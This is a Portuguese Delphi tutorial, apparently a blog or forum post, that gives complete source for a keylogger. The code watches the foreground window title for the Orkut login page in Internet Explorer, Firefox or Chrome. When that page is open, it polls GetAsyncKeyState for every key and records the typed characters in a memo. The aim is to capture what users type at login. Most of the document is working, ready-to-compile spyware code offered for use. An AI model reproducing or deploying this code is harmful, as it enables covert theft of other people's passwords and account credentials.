Se você quer capturar dados de uma determinada janela, como por exemplo uma tela de algum sistema por algum motivo, ou de alguma pagina web o segredo é o seguinte:
1° Vamos verificar o caption da tela e ver se é a que nós queremos.
2° Vamos usar um código para capturar as teclas
mãos a obra:.
vou mostrar como fazer isso no orkut
Abra seu delphi insira 2 timers da paleta system e 1 memo da paleta standard
No timer 2 altera o interval para 1 e deixe a opção enabled como False e insira o seguinte código:
varkeyloop, KeyResult : Integer;beginkeyloop := 0;repeatKeyResult := GetAsyncKeyState(keyloop);if KeyResult = -32767 thenbegincase keyloop of8: Coloca(' [BACKSPACE] ');9: Coloca(' [TAB] ');12: Coloca(' [ALT] ');13: Coloca(' [ENTER] ');16: Coloca(' [SHIFT] ');17: Coloca(' [CONTROL] ');18: Coloca(' [ALT] ');20: Coloca(' [CAPS LOCK] ');21: Coloca(' [PAGE UP] ');27: Coloca(' [ESC] ');33: Coloca(' [PAGE UP] ');34: Coloca(' [PAGE DOWN] ');35: Coloca(' [END] ');36: Coloca(' [HOME] ');37: Coloca(' [SETA ESQUERDA] ');38: Coloca(' [SETA ACIMA] ');39: Coloca(' [SETA DIREITA] ');40: Coloca(' [SETA ABAIXO] ');45: Coloca(' [INSERT] ');46: Coloca(' [DEL] ');91: Coloca(' [WIN ESQUERDA] ');92: Coloca(' [WIN DIREITA] ');93: Coloca(' [MENU POP-UP] ');96: Coloca('0');97: Coloca('1');98: Coloca('2');99: Coloca('3');100: Coloca('4');101: Coloca('5');102: Coloca('6');103: Coloca('7');104: Coloca('8');105: Coloca('9');106: Coloca(' [NUM *] ');107: Coloca(' [NUM +] ');109: Coloca(' [NUM -] ');110: Coloca(' [NUM SEP. DECIMAL] ');111: Coloca(' [NUM /] ');112: Coloca(' [F1] ');113: Coloca(' [F2] ');114: Coloca(' [F3] ');115: Coloca(' [F4] ');116: Coloca(' [F5] ');117: Coloca(' [F6] ');118: Coloca(' [F7] ');119: Coloca(' [F8] ');120: Coloca(' [F9] ');121: Coloca(' [F10] ');122: Coloca(' [F11] ');123: Coloca(' [F12] ');144: Coloca(' [NUM LOCK] ');186: Coloca('Ç');187: Coloca('=');188: Coloca(',');189: Coloca('-');190: Coloca('.');191: Coloca(';');192: Coloca(' [APÓSTROFO] ');193: Coloca('/');194: Coloca(' [NUM PONTO] ');219: Coloca('´');220: Coloca(']');221: Coloca('[');222: Coloca('~');226: Coloca('\');elseif (KeyLoop >= 65) and (keyloop <= 90) thenColoca(Chr(keyloop));if (keyloop >= 32) and (keyloop <= 63) thenColoca(Chr(keyloop));//numpad keycodesif (keyloop >= 96) and (keyloop <= 110) thenColoca(Chr(keyloop));end;end; //case;inc(keyloop);until keyloop = 255;No timer 1 altere o interval para 1000 e deixe a opção enabled como true, insira o seguinte código:
vartitle: array [ 0..500 ] of char;hwnd1 : HWND; TituloDoPrograma: string; TextoAEnviar: string;beginhwnd1 := GetForegroundWindow();GetWindowText(hwnd1, title, 500);if title = 'orkut - login - Windows Internet Explorer' thenbegintimer2.Enabled := True;timer1.Enabled := False;exit;end;if title = 'orkut - login - Mozilla Firefox' thenbegintimer2.Enabled := True;timer1.Enabled := False;exit;end;if title = 'orkut - login - Google Chrome' thenbegintimer2.Enabled := True;timer1.Enabled := False;exit;end;Logo abixo de {$R *.dfm} coloque a seguinte função:
function Coloca(txt: String): String;beginForm1.Memo1.Text := Form1.Memo1.Text + txt;end;Pronto! compile para ver o resultado, assim que vc chegar na pagina do orkut usando o Explorer o FireFox ou o Chrome ele vai começar a capturar os dados que são digitados.
Sua unit deve ficar parecida com está:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Timer2: TTimer;
Label1: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
title: array [ 0..500 ] of char;
hwnd1 : HWND;
TituloDoPrograma: string;
TextoAEnviar: string;
begin
hwnd1 := GetForegroundWindow();
GetWindowText(hwnd1, title, 500);
if title = 'orkut - login - Windows Internet Explorer' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;
if title = 'orkut - login - Mozilla Firefox' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;
if title = 'orkut - login - Google Chrome' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;
end.